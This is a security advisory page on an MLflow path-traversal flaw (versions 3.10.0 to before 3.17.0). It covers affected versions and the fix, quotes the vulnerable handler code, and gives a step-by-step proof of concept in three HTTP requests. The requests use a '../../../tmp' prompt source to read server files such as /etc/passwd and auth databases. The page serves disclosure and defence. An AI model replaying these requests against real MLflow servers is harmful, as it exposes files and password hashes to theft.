Live › vulnerability › CVE-2026-116690
Go to dashboardMLflow, an open source AI engineering platform, accepts relative artifact paths for prompt model versions without path validation. A remote caller can point a model version at a file on the MLflow server and read it through the get-artifact API.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-27 20:33 UTC. All times on this page are UTC.
MLflow servers running versions from 3.10.0 up to but not including 3.17.0 are exposed, because the prompt branch of model version creation skips path validation for schemeless sources. Default unauthenticated deployments need no privileges at all, while basic-auth deployments need only a user who can create registered models. Teams running MLflow only from a local client without a shared server are not exposed.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| mlflow | pypi | >= 3.10.0, < 3.17.0 | 3.17.0 |
mlflow --version on each MLflow server and confirm it is below 3.17.03.17.0 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.
The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.is_prompt tag rather than its value, so a false value still selected the weaker branch.
Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.
Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870, which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.
When creating a model version with the mlflow.prompt.is_prompt tag set to true, the request is handled by the prompt branch in _create_model_version().
mlflow/server/handlers.py:2674-2690:
is_prompt = _is_prompt_request(request_message)
if is_prompt:
source = request_message.source
parsed = urllib.parse.urlparse(source)
if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")):
raise MlflowException(...)
if parsed.scheme:
_validate_non_local_source_contains_relative_paths(source)
else:
if request_message.model_id:
_validate_source_model(request_message.source, request_message.model_id)
else:
_validate_source_run(request_message.source, request_message.run_id)
The prompt branch does not call _validate_source_run(), _validate_source_model(), or _validate_non_local_source_contains_relative_paths() for schemeless relative paths.
The artifact-read sink later trusts the stored source:
mlflow/server/handlers.py:2765-2782:
def get_model_version_artifact_handler():
name = request.args.get("name")
version = request.args.get("version")
path = request.args["path"]
path = validate_path_is_safe(path)
artifact_uri = _get_model_registry_store().get_model_version_download_uri(name, version)
...
else:
artifact_repo = get_artifact_repository(artifact_uri)
artifact_path = path
return _send_artifact(artifact_repo, artifact_path)
_send_artifact() calls artifact_repository.download_artifacts(path) and serves the resulting local file with send_file().
Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.
printf 'MLFLOW_PWNED_SENTINEL_REPORT' > /tmp/sentinel-mlflow.txt
First, create a registered model:
POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{"name": "pwned-model"}
Next, create a prompt-tagged model version with the malicious relative source ../../../tmp:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: 127.0.0.1:5000
Content-Type: application/json
{
"name": "pwned-model",
"source": "../../../tmp",
"tags": [{"key": "mlflow.prompt.is_prompt", "value": "true"}]
}
Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter:
GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1
Host: 127.0.0.1:5000
This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).
Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include:
/etc/passwdmlflow-auth.db or basic_auth.db)/home/user/.bash_historyThreat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.
This page as .md · .json · in your agent: get_signal("CVE-2026-116690")
NVD data is provided by NIST and is public domain · GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.